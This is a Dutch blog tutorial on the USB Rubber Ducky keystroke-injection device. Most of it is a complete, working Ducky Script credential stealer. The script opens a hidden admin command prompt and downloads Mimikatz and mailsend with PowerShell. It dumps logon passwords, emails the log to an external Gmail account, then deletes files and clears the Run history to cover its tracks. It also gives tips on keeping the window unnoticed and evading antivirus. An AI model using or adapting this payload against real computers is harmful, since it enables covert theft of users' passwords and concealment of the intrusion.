USB Rubber Ducky… kwaakt als een toetsenbord!
Als het KWAAKT en TYPT als een toetsenbord… dan zal het wel een toetsenbord zijn…
Een tool die in geen enkele hackerskit mag ontbreken is de USB Rubber Ducky (te koop bij de Hak5 Webshop). De USB Rubber Ducky is een klein apparaatje dat eruit ziet als een USB Drive. Maar niets is minder waar. Deze “USB Drive” heeft een speciale chipset waarmee een toetsenbord geëmuleerd wordt. Op de chipset zit een Micro SD slot waar (uiteraard) een Micro SD kaartje in gaat. Op dit USB kaartje staat de payload/code welke door de chipset omgezet wordt in “toetsaanslagen”. Als de USB Rubber Ducky dus in een PC gedaan wordt dan worden de commando’s automatisch ingetypt alsof het een echt toetsenbord was waar iemand achter zat (Mr Robot style zoals in Season 2 Episode 9).
Think of all the possibilities…!
De voordelen van de USB Rubber Ducky:
- Ziet eruit als een normale USB Drive
- In & Out, binnen 60 seconde is het werk geklaard
- Werkt op elk OS en device met USB poort en toetsenbord herkenning
- Snelheid, meer dan 1000 woorden per minuut
- Uitbreidbaar geheugen
- Wordt niet herkend door virusscanners (het is een HID device en virusscanners vertrouwen nu eenmaal HID devices)
De USB Rubber Ducky bestaat al sinds 2010 en is uitermate geschikt voor “social engineering” doeleinden. Hij is heerlijk universeel en doeltreffend. Daarnaast is de programmeercode kinderachtig simpel en zijn er online zeer veel kant-en-klare payloads en tools te vinden zoals een eigen “custom” payload generator.
Rubber Duck Code
De code (Ducky Script) voor de USB Rubber Ducky is simpel en is gewoon in Notepad, vi of TexstEdit te schrijven. Een paar richtlijnen:
- Regel georiënteerd. Elk commando staat dus op een andere regel
- Commando’s worden geschreven met hoofdletters
- Zet “REM” voor de regel om een opmerking te plaatsen
- Zet “STRING” voor de regel om 1 of meerdere letters te typen (tekst)
- Gebruik een “DELAY” voor het activeren van een pauze (tijd in milliseconden)
- Een “enter” doe je middels het “ENTER” commando
- De “Windows” button activeer je middels het “WINDOWS” of “GUI” commando
- De “Alt” button activeer je middels het “ALT” commando
- De “Shift” button activeer je middels het “SHIFT” commando
- De pijltjestoetsen activeer je als volgt “LEFTARROW” – “UPARROW”
- Combineren van commando’s is mogelijk door deze met een spatie van elkaar te scheiden. “ALT F4” of bijvoorbeeld “ALT TAB”
- Etc…
Nadat je klaar bent om je payload te testen moet je deze eerst compilen. Na het compilen krijg je een “inject.bin” bestand welke je op de Micro SD moet kopiëren welke je weer in de USB Rubber Ducky plaatst. Om je code te compilen kun je gebruik maken van de DuckEncode. De DuckEncode is een Java compiler welke op vrijwel elk OS werkt. Het aanroepen van de encoder is simpel. Op een Linux systeem gaat dit als volgt:
java -jar duckencoder.jar -i exploit.txt -o /media/microsdcard/inject.bin |
Wat misschien nog makkelijker werkt is het online encoden van je scripts. Het online encoden kan via de volgende pagina: http://ducktoolkit-411.rhcloud.com/Encoder.jsp
Een klein script ziet er dan als volgt uit:
ESCAPE CONTROL ESCAPE DELAY 400 STRING cmd ENTER DELAY 100 STRING shutdown /r /t 1 ENTER DELAY 100 |
In dit script activeren we de command prompt en voeren we het commando “shutdown /r /t 1” in om de computer te rebooten. Na het inpluggen van de USB Rubber Ducky zal de PC dus binnen 10 seconden rebooten. Altijd een leuke grap om uit te halen bij collega’s toch Maar dit is slechts het topje van de ijberg qua mogelijkheden. Denk eens aan alle informatie die we kunnen achterhalen door niets anders te doen dan het inpluggen van de Ducky. Sit back and relax… de Ducky verzamelt automatisch een hele hoop data of installeert automatisch de gewenste payload.
Rubber Ducky Password Stealer script
Om de kracht en effectiviteit van de USB Rubber Ducky goed in beeld te brengen gaan we een script bouwen om wachtwoorden van een computer te achterhalen. Dit script bouwen we op in verschillende stukken en is gebaseerd op het Ducky script van “Pesce” maar dan met wat verbeteringen.
1. We willen de command prompt openen met Admin Privileges. Dit scherm schuiven we ook naar onderen zodat niemand ziet wat er gebeurt. Dit doen we als volgt:
REM |***Wacht 3 seconden***| DELAY 1000 REM |***Sluit alle schermen***| CONTROL ESCAPE REM |***Wacht 2 seconden***| DELAY 1000 REM |***Zoek naar taskmanager***| STRING taskmgr REM |***Wacht 1 seconde***| DELAY 300 ENTER DELAY 300 ALT s DELAY 1000 REM |***Open CMD in admin mode***| CTRL ENTER REM |***Wacht 1 seconde***| DELAY 1000 REM |***Antwoord “Ja” als de vraag van UAC komt of CMD werkelijk met admin privileges uitgevoerd moet worden***| ALT y REM |***Wacht 1 seconde***| DELAY 1000 REM |***Geef een enter en wacht 1 seconde***| ENTER DELAY 1000 REM |***Schuif het scherm helemaal naar onderen***| ALT SPACE DELAY 1000 STRING r DOWNARROW REPEAT 100 ENTER DELAY 1000 |
2. Vervolgens downloaden we de juiste software en installeren te deze in de temporary user folder.
REM |***Download MimiKatz in %TEMP%\pw.zip'***| STRING powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/gentilkiwi/mimikatz/releases/download/2.1.0-alpha-20160808/mimikatz_trunk.zip','%TEMP%\pw.zip') ENTER REM |***Wacht 7 seconden***| DELAY 5000 REM |***Download Unzip.exe***| STRING powershell (new-object System.Net.WebClient).DownloadFile('http://stahlworks.com/dev/unzip.exe','%TEMP%\unzip.exe') ENTER REM |***Wacht 7 seconden***| DELAY 5000 REM |***Download MailSend.zip***| STRING powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/muquit/mailsend/releases/download/1.19/mailsend1.19.exe.zip','%TEMP%\mailsend.zip') ENTER REM |***Wacht 7 seconden***| DELAY 5000 REM |***Pak het bestand %TEMP%\pw.zip uit in %TEMP%\kiss ***| STRING %TEMP%\unzip.exe -o -qq %TEMP%\pw.zip -d %TEMP%\kiss ENTER REM |***Wacht 4 seconden***| DELAY 3000 REM |***Pak het bestand %TEMP%\mailsend.zip uit in %TEMP%\mailsend ***| STRING %TEMP%\unzip.exe -o -qq %TEMP%\mailsend.zip -d %TEMP%\mailsend ENTER REM |***Wacht 4 seconden***| DELAY 3000 |
3. Omdat MimiKatz in een x86 en een x64 variant gedownload wordt moeten we uitzoeken met welke architectuur de PC werkt. Vervolgens starten we de juiste versie van MimiKatz op en starten we de logger op welke een pwlog.txt logbestand aanmaakt op C:\.
STRING IF EXIST "%PROGRAMFILES(X86)%" (%TEMP%\kiss\x64\mimikatz.exe > c:\pwlog.txt & type pwlog.txt;) ELSE (%TEMP%\kiss\Win32\mimikatz.exe > c:\pwlog.txt & type pwlog.txt;) ENTER DELAY 1000 |
4. We configureren MiMiKatz om de wachtwoorden te achterhalen en in het logbestand weg te schrijven.
REM |***Start de MimiKatz debug mode op***| STRING privilege::debug ENTER REM |***Wacht 1 seconde***| DELAY 1000 REM |***Log alle wachtwoorden***| STRING sekurlsa::logonPasswords full ENTER REM |***Wacht 1 seconde***| DELAY 1000 REM |***Verlaat MimiKatz***| STRING exit ENTER REM |***Wacht 0.3 seconden***| DELAY 300 |
5. Even alle temporary bestanden opruimen want die hebben we toch niet meer nodig
STRING del %TEMP%\pw.zip ENTER DELAY 1000 STRING del %TEMP%\unzip.exe ENTER DELAY 1000 STRING del %TEMP%\mailsend.zip ENTER DELAY 1000 STRING rmdir /s /q "%TEMP%\kiss" ENTER DELAY 1000 |
6. Het logbestand is nu op de PC aanwezig. Het is nu zaak om deze te e-mailen zodat je automatisch over alle wachtwoorden beschikt. Dit e-mailen doen we via het gedownloade “sendmail”. Let op. Als je Gmail gebruikt (zoals in onderstaande voorbeeld) moet je de “Less Secure Apps” onder account instellingen van het gebruikte account instellen op “Enabled”. De dikgedrukte gegevens dienen aangepast te worden naar je eigen gegevens.
%TEMP%\mailsend\mailsend1.19.exe -smtp smtp.gmail.com -port 465 -ssl -auth -t <strong>email-ontvanger</strong> -f <strong>gebruikersnaam@gmail.com</strong> -sub "Ducky Password Report" -attach "C:\pwlog.txt" -user "<strong>gebruikersnaam@gmail.com</strong>" -pass "<strong>wachtwoord</strong>" -v +cc +bc |
7. Ruim ook het logbestand op (leave no traces) en sluit de command prompt. Tenslotte ze je alle schermen weer open alsof er nooit iets gebeurt is.
REM |***Delete mailsend folder***| STRING rmdir /s /q "%TEMP%\mailsend" ENTER DELAY 300 REM |***Delete logfile***| STRING del c:\pwlog.txt ENTER DELAY 300 REM |***Sluit de command prompt***| STRING exit ENTER DELAY 300 REM |***Sluit taskmanager***| ALT F4 DELAY 300 REM |***Zet alle gesloten schermen weer open***| CONTROL ESCAPE |
8. Het complete script ziet er dan als volgt uit:
REM Author: Jarno Baselier REM Date: 10/08/2016 REM Note: Thanks to Pesce and all the others! REM -------------open command prompt with admin privileges DELAY 1000 CONTROL ESCAPE DELAY 1000 STRING taskmgr DELAY 300 ENTER DELAY 300 ALT s DELAY 1000 CTRL ENTER DELAY 1000 ALT SPACE DELAY 1000 STRING r DOWNARROW REPEAT 100 ENTER DELAY 1000 REM -------------download mimikatz zip + unzip STRING powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/gentilkiwi/mimikatz/releases/download/2.1.0-alpha-20160808/mimikatz_trunk.zip','%TEMP%\pw.zip') ENTER DELAY 5000 STRING powershell (new-object System.Net.WebClient).DownloadFile('http://stahlworks.com/dev/unzip.exe','%TEMP%\unzip.exe') ENTER DELAY 5000 STRING powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/muquit/mailsend/releases/download/1.19/mailsend1.19.exe.zip','%TEMP%\mailsend.zip') ENTER DELAY 5000 STRING %TEMP%\unzip.exe -o -qq %TEMP%\pw.zip -d %TEMP%\kiss ENTER DELAY 3000 STRING %TEMP%\unzip.exe -o -qq %TEMP%\mailsend.zip -d %TEMP%\mailsend ENTER DELAY 3000 REM -------------Check Architecture & run Mimikatz STRING if exist "%PROGRAMFILES(X86)%" (%TEMP%\kiss\x64\mimikatz.exe > c:\pwlog.txt & type pwlog.txt;) ELSE (%TEMP%\kiss\Win32\mimikatz.exe > c:\pwlog.txt & type pwlog.txt;) ENTER DELAY 3000 REM -------------get the passwords STRING privilege::debug ENTER DELAY 1000 STRING sekurlsa::logonPasswords full ENTER DELAY 1000 STRING exit ENTER DELAY 300 STRING del %TEMP%\pw.zip ENTER DELAY 1000 STRING del %TEMP%\unzip.exe ENTER DELAY 1000 STRING del %TEMP%\mailsend.zip ENTER DELAY 1000 STRING rmdir /s /q "%TEMP%\kiss" ENTER DELAY 1000 REM -------------email log via gmail STRING %TEMP%\mailsend\mailsend1.19.exe -smtp smtp.gmail.com -port 465 -ssl -auth -t email-ontvanger -f gebruikersnaam@gmail.com -sub "Ducky Password Report" -attach "C:\pwlog.txt" -user "gebruikersnaam@gmail.com" -pass "wachtwoord" -v +cc +bc ENTER DELAY 3000 REM ---------------------delete and end STRING rmdir /s /q "%TEMP%\mailsend" ENTER DELAY 300 STRING del c:\pwlog.txt ENTER DELAY 300 STRING exit ENTER DELAY 300 ALT F4 DELAY 300 CONTROL ESCAPE |
Extra Tip 1 – extra onopvallend:
Een andere truck om de command prompt nog onopvallender te maken is door het toevoegen van de volgende code:
STRING mode con:cols=18 lines=1 ENTER STRING color FE ENTER |
“mode con:cols=18 lines=1” zorgt ervoor dat de command prompt 18 kolommen breed wordt en slechts 1 lijn hoog. “color FE” zorgt ervoor dat de achtergrond wit wordt en de tekst geel. Deze combinatie zorgt ervoor dat de command prompt volledig blindeert in het scherm en lijkt op een normaal en klein venster. Geen enke “hacker style” box maar een vriendelijk klein schermpje 🙂
Extra Tip 2 – clearing your tracks:
Command prompt is niet zoals bash in Linux. En dat is een voordeel. Ingevoerde commando’s blijven dus niet bewaard. Echter de ingevoerde commando’s in de “run” box blijven wel bewaard. Deze worden bewaard in een registersleutel. Het is wel net zo netjes om ook deze even leeg te gooien en dat doen we zo via Powershell:
STRING powershell "Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue" ENTER STRING exit ENTER |
Conclusie:
De USB Rubber Ducky is een fantastische tool voor social engineering technieken en om simpelweg complexe taken te vergemakkelijken. De USB Rubber Ducky wordt niet vaak geblokkeerd door virusscanners en ook voor de zeldzame keren dat dit wel gebeurt zijn speciale firmware versies te verkrijgen die dan niet herkent worden. Het nadeel is dat je vaak tools gebruikt die door virusscanners als “schadelijk” worden aangemerkt. Zo zullen veel virusscanners de MimiKatz tool blokkeren die we in bovenstaande script gebruiken. Ook zit er nogal wat verschil in toetsenbord layouts, OS talen en responstijden van computers. Je moet dus heel goed weten op welk OS, taal en toetsenbord indeling je je script gaat lanceren. Als deze zaken niet overeenkomen dan is de kans groot dat het script mislukt en veel ongewenste schermen opent die vervolgens niet meer sluiten en waarmee je je aanwezigheid dus juist “verraad”. Maar als je wel weet waarop je je script gaat toepassen en je test dit script vooraf goed dan kan de USB Rubber Ducky een onmisbare tool zijn in de toolkit van een hacke… uhhh systeembeheerder 🙂 !